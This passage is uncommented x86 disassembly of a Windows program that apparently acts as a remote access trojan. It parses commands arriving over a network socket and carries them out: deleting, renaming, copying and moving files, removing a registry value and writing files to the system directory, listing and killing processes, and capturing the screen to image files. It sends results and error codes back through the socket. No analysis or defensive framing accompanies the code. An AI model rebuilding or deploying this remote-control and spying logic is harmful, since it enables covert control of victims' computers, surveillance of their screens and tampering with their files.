mov ax, word [0x4017d8]
mov word [ebp - 0x439a0], ax
mov al, byte [0x4017da]
mov byte [ebp - 0x4399e], al
jmp 0x402ea1
mov dword [ebp - 0x439a4], 0x5f525245
mov dword [ebp - 0x439a0], 0x455845
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402eb0
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4017e8
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
lea eax, [ebp - 0x1da4]
je 0x402f07
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401ea0
push 0x4017f4
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x402fde
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x6a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
push 0x40142c
lea esi, [eax + 1]
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcspn
push eax
lea eax, [ebp - 0x6a4]
push esi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strncpy
push 0x40142c
push esi
call sub.VCRUNTIME140.dll_strstr
inc eax
push eax
lea eax, [ebp - 0x6a4]
push eax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
add esp, 0x44
test eax, eax
je 0x402fa6
mov dword [ebp - 0x439a4], 0x5f525245
mov dword [ebp - 0x439a0], 0x4d4e52
jmp 0x402fc9
mov eax, dword [0x4017d4]
mov dword [ebp - 0x439a4], eax
mov ax, word [0x4017d8]
mov word [ebp - 0x439a0], ax
mov al, byte [0x4017da]
mov byte [ebp - 0x4399e], al
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402fd2
jmp 0x4037d7
lea eax, [ebp - 0x1da4]
push 0x401800
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x4030cf
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x6a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
push 0x40142c
lea esi, [eax + 1]
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcspn
push eax
lea eax, [ebp - 0x6a4]
push esi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strncpy
push 0x40142c
push esi
call sub.VCRUNTIME140.dll_strstr
add esp, 0x3c
inc eax
push 0
push eax
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4030a6
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4030a6
mov eax, dword [0x4017d4]
mov dword [ebp - 0x439a4], eax
mov ax, word [0x4017d8]
mov word [ebp - 0x439a0], ax
mov al, byte [0x4017da]
mov byte [ebp - 0x4399e], al
jmp 0x4030ba
mov dword [ebp - 0x439a4], 0x5f525245
mov dword [ebp - 0x439a0], 0x564f4d
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4030c3
jmp 0x4037d7
lea eax, [ebp - 0x1da4]
push 0x40180c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x4031af
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x6a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea eax, [ebp - 0x1da4]
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
push 0x40142c
lea esi, [eax + 1]
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcspn
push eax
lea eax, [ebp - 0x6a4]
push esi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strncpy
push 0x40142c
push esi
call sub.VCRUNTIME140.dll_strstr
add esp, 0x3c
inc eax
push 0
push eax
lea eax, [ebp - 0x6a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x403177
mov dword [ebp - 0x439a4], 0x5f525245
mov dword [ebp - 0x439a0], 0x595043
jmp 0x40319a
mov eax, dword [0x4017d4]
mov dword [ebp - 0x439a4], eax
mov ax, word [0x4017d8]
mov word [ebp - 0x439a0], ax
mov al, byte [0x4017da]
mov byte [ebp - 0x4399e], al
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4031a3
jmp 0x4037d7
lea eax, [ebp - 0x1da4]
push 0x401818
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x4033ac
push 0x400
lea eax, [ebp - 0xda4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push pe_nt_image_headers32
lea eax, [ebp - 0x1a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x6a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x200
lea eax, [ebp - 0x8a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0x3c
lea eax, [ebp - 0x4414c]
push eax
push 0x401824
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x401360
push dword [ebp - 0x4414c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x4414c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x400
lea eax, [ebp - 0xda4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor ecx, ecx
mov al, byte [ebp + ecx - 0xda4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1a5], al
test al, al
jne 0x403275
lea edi, [ebp - 0x1a4]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403291
mov ax, word [0x401854]
mov edx, 0x401344
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4032b0
lea edi, [ebp - 0x1a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4032c0
mov ecx, edx
lea eax, [ebp - 0x6a4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x400
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0xda4]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4032f1
mov ax, word [0x401854]
mov edx, 0x401380
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x403310
lea edi, [ebp - 0xda4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403320
mov ecx, edx
lea eax, [ebp - 0x6a4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0xda4]
mov ecx, edx
push eax
lea eax, [ebp - 0x1a4]
and ecx, 3
push eax
lea eax, [ebp - 0x8a4]
push 0x401858
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0xda4]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40450e
lea ecx, [ebp - 0x439a4]
mov dword [ebp - 0x439a4], 0x525245
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4033a0
jmp 0x40356d
lea eax, [ebp - 0x1da4]
push 0x40187c
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x40358a
push 0x400
lea eax, [ebp - 0xda4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push pe_nt_image_headers32
lea eax, [ebp - 0x1a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x1f400
lea eax, [ebp - 0x439a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x400
lea eax, [ebp - 0x6a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x200
lea eax, [ebp - 0x8a4]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0x3c
lea eax, [ebp - 0xda4]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0xda4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1a5], al
test al, al
jne 0x403440
lea edi, [ebp - 0x1a4]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403460
mov ax, word [0x401854]
mov edx, 0x401344
mov word [edi], ax
mov esi, edx
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x403480
lea edi, [ebp - 0x1a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403490
mov ecx, edx
lea eax, [ebp - 0x6a4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x400
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0xda4]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4034c1
mov ax, word [0x401854]
mov edx, 0x401380
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4034e0
lea edi, [ebp - 0xda4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4034f0
mov ecx, edx
lea eax, [ebp - 0xda4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x6a4]
mov ecx, edx
push eax
and ecx, 3
lea eax, [ebp - 0x8a4]
push 0x401884
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0xda4]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40458b
lea ecx, [ebp - 0x439a4]
mov dword [ebp - 0x439a4], 0x525245
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403566
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401e96
lea eax, [ebp - 0x1da4]
push 0x4018a0
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x403739
push 0x128
lea eax, [ebp - 0x4410c]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x80
lea eax, [ebp - 0x224]
push 0
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
push 0x4018ac
call fcn.004059a0
add esp, 0x1c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40372e
push 0x4018b0
call fcn.004059a0
add esp, 4
mov dword [ebp - 0x4410c], 0x128
lea eax, [ebp - 0x4410c]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40371a
push 0x4018b4
call fcn.004059a0
push dword [ebp - 0x44104]
lea eax, [ebp - 0x440e8]
push eax
lea eax, [ebp - 0x439a4]
push 0x4018b8
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x4410c]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4036c9
push 0x4018c0
call fcn.004059a0
push dword [ebp - 0x44104]
lea eax, [ebp - 0x440e8]
push eax
lea eax, [ebp - 0x224]
push 0x4018b8
push eax
call esi
lea edx, [ebp - 0x224]
add esp, 0x14
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x403686
lea edi, [ebp - 0x439a4]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403696
mov ecx, edx
lea eax, [ebp - 0x4410c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebx
call sub.KERNEL32.dll_Process32Next
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
jne 0x403656
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4018c4
call fcn.004059a0
add esp, 4
push ebx
call edi
lea eax, [ebp - 0x439a4]
push eax
push 0x4018c8
call fcn.004059a0
lea ecx, [ebp - 0x439a4]
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4036f6
mov ebx, dword [ebp - 0x44110]
lea eax, [ebp - 0x439a4]
push 0
sub ecx, edx
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
jmp 0x401ea0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4018cc
call fcn.004059a0
add esp, 8
mov ebx, dword [ebp - 0x44110]
jmp 0x401ea0
lea eax, [ebp - 0x1da4]
push 0x4018ec
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
lea eax, [ebp - 0x1da4]
je 0x4037f4
push 0x40142c
push eax
call sub.VCRUNTIME140.dll_strstr
inc eax
push eax
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
add esp, 0xc
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4037bd
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x4037ae
mov ax, word [0x4018f8]
mov word [ebp - 0x439a4], ax
mov al, byte [0x4018fa]
push esi
mov byte [ebp - 0x439a2], al
call edi
jmp 0x4037c7
push esi
mov dword [ebp - 0x439a4], 0x525245
call edi
jmp 0x4037c7
mov dword [ebp - 0x439a4], 0x525245
lea ecx, [ebp - 0x439a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4037d0
push 0
sub ecx, edx
lea eax, [ebp - 0x439a4]
push ecx
push eax
push ebx
call sub.WSOCK32.dll_send
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401ea0
push 0x4018fc
push eax
call sub.VCRUNTIME140.dll_strstr
add esp, 8
test eax, eax
je 0x4044cd
xorps xmm0, xmm0
mov dword [ebp - 0x43de0], 0
push 0x400
lea eax, [ebp - 0x43da4]
movq qword [ebp - 0x43db4], xmm0
push 0
push eax
mov dword [ebp - 0x43dac], 0
mov word [ebp - 0x43da8], 0
movups xmmword [ebp - 0x43ddc], xmm0
movups xmmword [ebp - 0x43dcc], xmm0
movq qword [ebp - 0x43dbc], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0x401908
call dword [sym.imp.GDI32.dll_CreateDCA]
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 8
push edi
call ebx
push 0xa
push edi
mov dword [ebp - 0x4411c], eax
call ebx
push 0x18
push edi
mov dword [ebp - 0x44124], eax
call ebx
push edi
mov esi, eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebx, eax
mov dword [ebp - 0x43e08], 0x28
mov eax, dword [ebp - 0x4411c]
push 0
mov dword [ebp - 0x43e04], eax
mov eax, dword [ebp - 0x44124]
push 0
mov dword [ebp - 0x43e00], eax
lea eax, [ebp - 0x44170]
push eax
push 1
lea eax, [ebp - 0x43e08]
mov dword [ebp - 0x4412c], ebx
push eax
push edi
mov dword [ebp - 0x43dfc], 0x180001
mov dword [ebp - 0x43df8], 0
mov dword [ebp - 0x43df4], 0
mov dword [ebp - 0x43df0], 0
mov dword [ebp - 0x43dec], 0
mov dword [ebp - 0x43de8], esi
mov dword [ebp - 0x43de4], esi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push eax
push ebx
mov dword [ebp - 0x44128], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebp - 0x44124]
push dword [ebp - 0x4411c]
push 0
push 0
push ebx
call dword [sym.imp.GDI32.dll_BitBlt]
test esi, esi
je 0x403964
lea eax, [ebp - 0x43da4]
push eax
push esi
push 0
push ebx
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
mov esi, eax
mov edx, dword [ebp - 0x44124]
mov eax, 0x4d42
mov ecx, dword [ebp - 0x4411c]
mov word [ebp - 0x43db4], ax
mov eax, edx
imul eax, ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov dword [ebp - 0x43ddc], 0x28
lea ebx, [eax + eax*2]
mov dword [ebp - 0x43dd8], ecx
shl ebx, 3
lea eax, [esi*4]
add eax, 0x36
shr ebx, 3
add eax, ebx
mov dword [ebp - 0x43dd4], edx
mov dword [ebp - 0x43db2], eax
xor eax, eax
mov dword [ebp - 0x43dae], eax
lea eax, [esi*4 + 0x36]
mov dword [ebp - 0x43daa], eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x43dd0], 0x180001
mov dword [ebp - 0x43dcc], 0
mov dword [ebp - 0x43dc8], 0
mov dword [ebp - 0x43dc4], 0
mov dword [ebp - 0x43dc0], 0
mov dword [ebp - 0x43dbc], esi
mov dword [ebp - 0x43db8], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [ebp - 0x44138]
mov dword [ebp - 0x4411c], eax
push ecx
push 0xe
lea ecx, [ebp - 0x43db4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x44138]
push eax
push 0x28
lea eax, [ebp - 0x43ddc]
push eax
push dword [ebp - 0x4411c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test esi, esi
je 0x403a8a
push 0
lea eax, [ebp - 0x44138]
push eax
lea eax, [esi*4]
push eax
lea eax, [ebp - 0x43da4]
push eax
push dword [ebp - 0x4411c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x44138]
push eax
push ebx
push dword [ebp - 0x44170]
mov ebx, dword [ebp - 0x4411c]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call eax
push dword [ebp - 0x44128]
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ebx, dword [sym.imp.GDI32.dll_DeleteDC]
push edi
call ebx
push dword [ebp - 0x4412c]
call ebx
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x24]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xa5], al
test al, al
jne 0x403ad0
lea eax, [ebp - 0xa4]
push eax
push 0x4018c8
call fcn.004059a0
add esp, 8
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0xa4]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x65], al
test al, al
jne 0x403b00
lea ecx, [ebp - 0xa4]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403b20
sub ecx, edx
movzx eax, cl
mov dword [ebp + eax - 0x67], 0x67706a
lea eax, [ebp - 0x64]
push eax
push 0x4018c8
call fcn.004059a0
lea eax, [ebp - 0x44134]
push eax
lea eax, [ebp - 0x44130]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00405100
lea eax, [ebp - 0x64]
push 0x401910
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov dword [0x40a540], eax
call fcn.00404d20
movzx eax, word [ebp - 0x44130]
push dword [0x40a540]
mov word [0x40101c], ax
movzx eax, word [ebp - 0x44134]
push 0xff
mov word [0x40101a], ax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0xd8
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401001]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [section..text]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401003]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, word [0x401002]
add esp, 0x44
movzx eax, al
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0x4a
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0x46
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0x49
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0x46
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
push 0
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401009]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40100a]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, byte [0x40100b]
add esp, 0x40
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40100d]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40100c]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40100f]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, word [0x40100e]
push dword [0x40a540]
movzx eax, al
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401010]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401011]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x406b01]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, byte [0x406b00]
add esp, 0x40
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x406b03]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, word [0x406b02]
push dword [0x40a540]
movzx eax, al
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x406b04]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 0x20
mov esi, 0x406b05
mov edi, 0x40
push dword [0x40a540]
movzx eax, byte [esi]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
lea esi, [esi + 1]
sub edi, 1
jne 0x403d64
push dword [0x40a540]
movzx eax, byte [0x406b45]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
mov esi, 0x406b46
mov edi, 0x40
nop
push dword [0x40a540]
movzx eax, byte [esi]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
lea esi, [esi + 1]
sub edi, 1
jne 0x403da0
push dword [0x40a540]
movzx eax, byte [0x401015]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401014]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401017]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, word [0x401016]
push dword [0x40a540]
movzx eax, al
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401018]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40101b]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, word [0x40101a]
push dword [0x40a540]
movzx eax, al
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40101d]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, byte [0x40101c]
add esp, 0x40
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40101e]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40101f]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401020]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401021]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401022]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401023]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401024]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, byte [0x401025]
add esp, 0x40
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401026]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401027]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
call fcn.00405f00
push dword [0x40a540]
movzx eax, byte [0x401029]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401028]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40102b]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, word [0x40102a]
push dword [0x40a540]
movzx eax, al
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40102c]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, byte [0x40102d]
add esp, 0x40
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40102e]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x40102f]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401030]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401031]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401032]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401033]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push dword [0x40a540]
movzx eax, byte [0x401034]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
movzx eax, byte [0x401035]
add esp, 0x40
push dword [0x40a540]
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
push 0x401914
push 0x4018c8
call fcn.004059a0
mov cx, word [0x40a520]
xor edx, edx
xor eax, eax
mov byte [0x406b86], 0
add esp, 0x10
mov byte [0x401012], 7
mov dword [ebp - 0x4415c], edi
mov dword [ebp - 0x44160], edi
mov dword [ebp - 0x44174], edi
mov dword [ebp - 0x44128], edx
cmp ax, cx
jae 0x40426b
mov ax, word [0x40a522]
nop dword [eax]
xor esi, esi
xor edi, edi
mov dword [ebp - 0x4412c], esi
cmp di, ax
jae 0x404259
movzx edi, dx
mov dword [ebp - 0x44150], edi
nop dword [eax]
movzx ebx, ax
xor cl, cl
mov edx, ebx
movzx eax, si
imul edx, edi
mov byte [ebp - 0x44115], cl
mov dword [ebp - 0x44144], 8
add edx, eax
mov dword [ebp - 0x44124], edx
lea eax, [edx + edx*2]
